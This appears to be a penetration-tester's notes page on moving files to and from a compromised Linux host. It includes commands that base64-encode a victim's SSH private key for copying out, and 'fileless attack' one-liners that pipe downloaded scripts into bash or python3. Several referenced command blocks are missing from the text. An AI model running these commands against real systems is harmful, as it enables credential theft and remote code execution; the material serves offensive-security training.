Linux File Transfer Methods

Base64 encoding

This is helpful in scenarios like copying the ssh key of a user to our local machine.

victim@target$ cat id_rsa |base64 -w 0;echo
#Now we decode the data on the other machine:
victim@target$ echo -n "encoded string" | base64 -d > id_rsa

to verify if the transfer was indeed successful we could check the md5 hashes on the two machines:

attack@attack$md5sum id_rsa

cURL / wget

$wget <url> -O output_filename
$curl <url> -o output_filename

We could turn the functioning of pipes to our advantage to make a fileless attack.arrow-up-right

victim@target$wget -q0- <url-to-a-bash-script> | bash
victim@target$curl  <url-to-a-python-script> | python3
triangle-exclamation

Download with Bash (/dev/tcp)

We should start a listener on a machine (our host or the target's) then use the built-in /dev/TCP device file to open a connection.

Or you could upload the file from your machine using:

And finally to close the connection:

circle-info

In conclusion, the /dev/tcp/hostname/ip is our go-to if the wget, cURL or any other method can't work since it might be already compiled (it is by default as long as bash is v2.04 or greater).

The idea is to

  • open a listener on a machine (target or attacking host)

  • launch a connection with the built-in dev file from the other.

  • Use a GET request or cat command and then redirect it to the FD... It all depends on the need and the method available since inbound or outbound connections could be denied and restricted.

About the 3<> part of the command :

  • 3 refers to the file descriptor number. In Unix-like systems, file descriptors are used to manage input/output streams. File descriptors 0, 1, and 2 correspond to standard input, output, and error, respectively. The number 3 is chosen here to create a new file descriptor for the TCP connection.

  • The <> syntax means "open for reading and writing." This opens the file descriptor 3 as both readable and writable, allowing you to send data to and receive data from the remote server.

SSH-SCP

SCP (secure copy) is a command-line utility that allows you to copy files and directories between two hosts securely. We can copy our files from local to remote servers and from remote servers to our local machine.

SCP is very similar to copy or cp, but instead of providing a local path, we need to specify a username, the remote IP address or DNS name, and the user's credentials.

Before using scp, we must start ssh:

Web Uploads

HTTPS python server

The idea of this part is hosting a web server on our attacking machine and upload the wanted files from the target host. For this we'll need the uploadserver modulearrow-up-right.

circle-exclamation

Simple HTTP servers

Depending on what's installed on the compromised machine, we can run a HTTP server using one of these commands:

After running one of these one-liners, we can then download the files we prefer using a simple wget command:

Last updated